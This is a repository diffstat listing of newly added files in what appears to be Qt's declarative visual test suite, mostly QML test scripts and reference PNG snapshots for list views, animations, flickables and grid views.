-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/enforcerange.4.pngbin0 -> 680 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/enforcerange.5.pngbin0 -> 710 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/enforcerange.6.pngbin0 -> 705 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/enforcerange.qml2119
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/itemlist.0.pngbin0 -> 976 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/itemlist.1.pngbin0 -> 976 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/itemlist.2.pngbin0 -> 986 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/itemlist.3.pngbin0 -> 977 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/itemlist.4.pngbin0 -> 977 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/itemlist.5.pngbin0 -> 977 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/itemlist.6.pngbin0 -> 990 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/itemlist.7.pngbin0 -> 976 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/itemlist.qml2203
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/listview.0.pngbin0 -> 1525 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/listview.1.pngbin0 -> 1647 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/listview.2.pngbin0 -> 1584 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/listview.3.pngbin0 -> 1648 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/listview.4.pngbin0 -> 1613 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/listview.5.pngbin0 -> 1663 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/listview.6.pngbin0 -> 1666 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/listview.7.pngbin0 -> 1579 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/listview.8.pngbin0 -> 1579 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/data/listview.qml2227
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/enforcerange.qml31
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/itemlist.qml40
-rw-r--r--tests/auto/declarative/qmlvisual/ListView/listview.qml86
-rw-r--r--tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.0.pngbin0 -> 766 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.1.pngbin0 -> 797 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.2.pngbin0 -> 794 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.3.pngbin0 -> 822 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.4.pngbin0 -> 801 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.5.pngbin0 -> 803 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.6.pngbin0 -> 774 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.qml1767
-rw-r--r--tests/auto/declarative/qmlvisual/Package_Views/packageviews.qml82
-rw-r--r--tests/auto/declarative/qmlvisual/TEST_GUIDELINES7
-rw-r--r--tests/auto/declarative/qmlvisual/animation/bindinganimation/bindinganimation.qml36
-rw-r--r--tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.0.pngbin0 -> 832 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.1.pngbin0 -> 830 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.2.pngbin0 -> 829 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.3.pngbin0 -> 830 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.4.pngbin0 -> 830 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.5.pngbin0 -> 832 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.qml1055
-rw-r--r--tests/auto/declarative/qmlvisual/animation/colorAnimation/colorAnimation-visual.qml41
-rw-r--r--tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.0.pngbin0 -> 622 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.1.pngbin0 -> 627 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.2.pngbin0 -> 626 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.3.pngbin0 -> 625 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.qml951
-rw-r--r--tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.0.pngbin0 -> 622 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.1.pngbin0 -> 627 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.2.pngbin0 -> 626 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.3.pngbin0 -> 625 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.qml951
-rw-r--r--tests/auto/declarative/qmlvisual/animation/easing/data/easing.0.pngbin0 -> 1267 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/easing/data/easing.1.pngbin0 -> 1648 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/easing/data/easing.2.pngbin0 -> 1617 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/easing/data/easing.3.pngbin0 -> 1267 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/easing/data/easing.qml863
-rw-r--r--tests/auto/declarative/qmlvisual/animation/easing/easing.qml194
-rw-r--r--tests/auto/declarative/qmlvisual/animation/loop/data/loop.0.pngbin0 -> 502 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/loop/data/loop.1.pngbin0 -> 508 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/loop/data/loop.2.pngbin0 -> 507 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/loop/data/loop.3.pngbin0 -> 508 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/loop/data/loop.4.pngbin0 -> 508 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/loop/data/loop.5.pngbin0 -> 507 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/loop/data/loop.6.pngbin0 -> 508 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/loop/data/loop.qml1471
-rw-r--r--tests/auto/declarative/qmlvisual/animation/loop/loop.qml24
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation-visual.0.pngbin0 -> 379 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation-visual.qml243
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parallelAnimation/parallelAnimation-visual.qml52
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.0.pngbin0 -> 1635 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.1.pngbin0 -> 1619 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.2.pngbin0 -> 1586 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.3.pngbin0 -> 1635 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.4.pngbin0 -> 1653 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.qml1223
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation-visual.qml68
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.0.pngbin0 -> 2011 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.1.pngbin0 -> 2047 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.2.pngbin0 -> 2058 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.3.pngbin0 -> 2052 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.qml1023
-rw-r--r--tests/auto/declarative/qmlvisual/animation/parentAnimation2/parentAnimation2.qml64
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.0.pngbin0 -> 3224 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.1.pngbin0 -> 3226 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.2.pngbin0 -> 3229 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.3.pngbin0 -> 3224 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.4.pngbin0 -> 3226 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.5.pngbin0 -> 3229 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.6.pngbin0 -> 3229 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.qml1619
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.0.pngbin0 -> 3211 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.1.pngbin0 -> 3214 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.2.pngbin0 -> 3209 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.3.pngbin0 -> 3211 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.4.pngbin0 -> 3214 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.5.pngbin0 -> 3214 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation-visual.qml36
-rw-r--r--tests/auto/declarative/qmlvisual/animation/pauseAnimation/pics/qtlogo.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.0.pngbin0 -> 336 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.1.pngbin0 -> 335 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.2.pngbin0 -> 344 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.3.pngbin0 -> 336 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.qml815
-rw-r--r--tests/auto/declarative/qmlvisual/animation/propertyAction/propertyAction-visual.qml40
-rw-r--r--tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.0.pngbin0 -> 1131 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.1.pngbin0 -> 1135 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.2.pngbin0 -> 1141 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.3.pngbin0 -> 1147 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.4.pngbin0 -> 1132 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/qtbug10586/data/qtbug10586.qml1107
-rw-r--r--tests/auto/declarative/qmlvisual/animation/qtbug10586/qtbug10586.qml23
-rw-r--r--tests/auto/declarative/qmlvisual/animation/qtbug13398/data/qtbug13398.0.pngbin0 -> 1281 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/qtbug13398/data/qtbug13398.1.pngbin0 -> 1265 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/qtbug13398/data/qtbug13398.qml447
-rw-r--r--tests/auto/declarative/qmlvisual/animation/qtbug13398/qtbug13398.qml68
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.0.pngbin0 -> 637 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.1.pngbin0 -> 637 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.2.pngbin0 -> 642 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.3.pngbin0 -> 647 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.4.pngbin0 -> 637 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.5.pngbin0 -> 646 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.6.pngbin0 -> 637 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.7.pngbin0 -> 637 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.8.pngbin0 -> 647 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.9.pngbin0 -> 642 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.qml2471
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchor/reanchor.qml69
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.0.pngbin0 -> 637 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.1.pngbin0 -> 637 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.10.pngbin0 -> 647 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.11.pngbin0 -> 637 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.12.pngbin0 -> 636 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.2.pngbin0 -> 636 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.3.pngbin0 -> 647 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.4.pngbin0 -> 641 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.5.pngbin0 -> 637 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.6.pngbin0 -> 637 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.7.pngbin0 -> 636 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.8.pngbin0 -> 637 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.9.pngbin0 -> 637 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.qml1499
-rw-r--r--tests/auto/declarative/qmlvisual/animation/reanchorRTL/reanchor.qml69
-rw-r--r--tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.0.pngbin0 -> 334 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.1.pngbin0 -> 335 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.2.pngbin0 -> 335 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.qml515
-rw-r--r--tests/auto/declarative/qmlvisual/animation/scriptAction/scriptAction-visual.qml40
-rw-r--r--tests/auto/declarative/qmlvisual/fillmode/data/fillmode.0.pngbin0 -> 16855 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/fillmode/data/fillmode.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/fillmode/face.pngbin0 -> 1011 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/fillmode/fillmode.qml21
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test.0.pngbin0 -> 1974 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test.1.pngbin0 -> 1968 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test.2.pngbin0 -> 1968 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test.3.pngbin0 -> 1974 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test.qml923
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test2.0.pngbin0 -> 439 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test2.1.pngbin0 -> 439 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test2.qml323
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test3.0.pngbin0 -> 487 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test3.1.pngbin0 -> 509 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test3.2.pngbin0 -> 491 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test3.3.pngbin0 -> 499 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test3.4.pngbin0 -> 487 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/data/test3.qml1327
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/test.qml81
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/test2.qml38
-rw-r--r--tests/auto/declarative/qmlvisual/focusscope/test3.qml52
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated-smooth.qml66
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated.qml58
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/borders.qml18
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/MyBorderImage.qml38
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/bw.pngbin0 -> 1357 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-round.sci7
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-stretch.sci5
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors.pngbin0 -> 713 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/qmldir1
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.0.pngbin0 -> 4686 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.1.pngbin0 -> 25454 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.qml319
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.0.pngbin0 -> 4686 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.1.pngbin0 -> 9642 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.qml343
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.0.pngbin0 -> 28741 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.0.pngbin0 -> 1439 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.1.pngbin0 -> 1424 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.2.pngbin0 -> 1428 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.3.pngbin0 -> 1396 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.4.pngbin0 -> 1454 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data-MAC/flickable-horizontal.qml1575
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.0.pngbin0 -> 1436 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.1.pngbin0 -> 1426 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.2.pngbin0 -> 1429 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.3.pngbin0 -> 1395 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.4.pngbin0 -> 1454 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.qml1575
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.0.pngbin0 -> 1710 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.1.pngbin0 -> 1710 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.2.pngbin0 -> 1727 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.3.pngbin0 -> 1727 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.4.pngbin0 -> 1727 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.5.pngbin0 -> 1731 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.qml2159
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.0.pngbin0 -> 1070 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.1.pngbin0 -> 1064 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.2.pngbin0 -> 1079 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.3.pngbin0 -> 1079 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.4.pngbin0 -> 1057 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.5.pngbin0 -> 1080 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.6.pngbin0 -> 1030 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.7.pngbin0 -> 1070 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.8.pngbin0 -> 1055 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.qml3647
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-horizontal.qml37
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-nested.qml50
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-vertical.qml90
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.0.pngbin0 -> 942 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.1.pngbin0 -> 1111 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.2.pngbin0 -> 1152 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.3.pngbin0 -> 976 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.4.pngbin0 -> 1096 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.5.pngbin0 -> 1154 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.6.pngbin0 -> 984 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.qml1623
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test_flipable_resize.0.pngbin0 -> 1649 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test_flipable_resize.qml207
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflipable/test-flipable.qml79
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeflipable/test_flipable_resize.qml62
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.0.pngbin0 -> 1318 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.1.pngbin0 -> 1318 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.10.pngbin0 -> 1318 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.2.pngbin0 -> 1332 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.3.pngbin0 -> 1331 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.4.pngbin0 -> 1321 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.5.pngbin0 -> 1325 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.6.pngbin0 -> 1321 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.7.pngbin0 -> 1341 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.8.pngbin0 -> 1341 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.9.pngbin0 -> 1359 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.qml2859
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.0.pngbin0 -> 1325 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.1.pngbin0 -> 1325 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.10.pngbin0 -> 1313 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.2.pngbin0 -> 1337 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.3.pngbin0 -> 1360 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.4.pngbin0 -> 1406 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.5.pngbin0 -> 1337 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.6.pngbin0 -> 1340 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.7.pngbin0 -> 1327 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.8.pngbin0 -> 1353 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.9.pngbin0 -> 1325 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.qml2479
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview.qml51
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview2.qml62
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.0.pngbin0 -> 1578 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.1.pngbin0 -> 1578 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.2.pngbin0 -> 1585 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.3.pngbin0 -> 1568 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.4.pngbin0 -> 1578 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.5.pngbin0 -> 1583 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.6.pngbin0 -> 1581 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.7.pngbin0 -> 1582 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.8.pngbin0 -> 1581 bytes
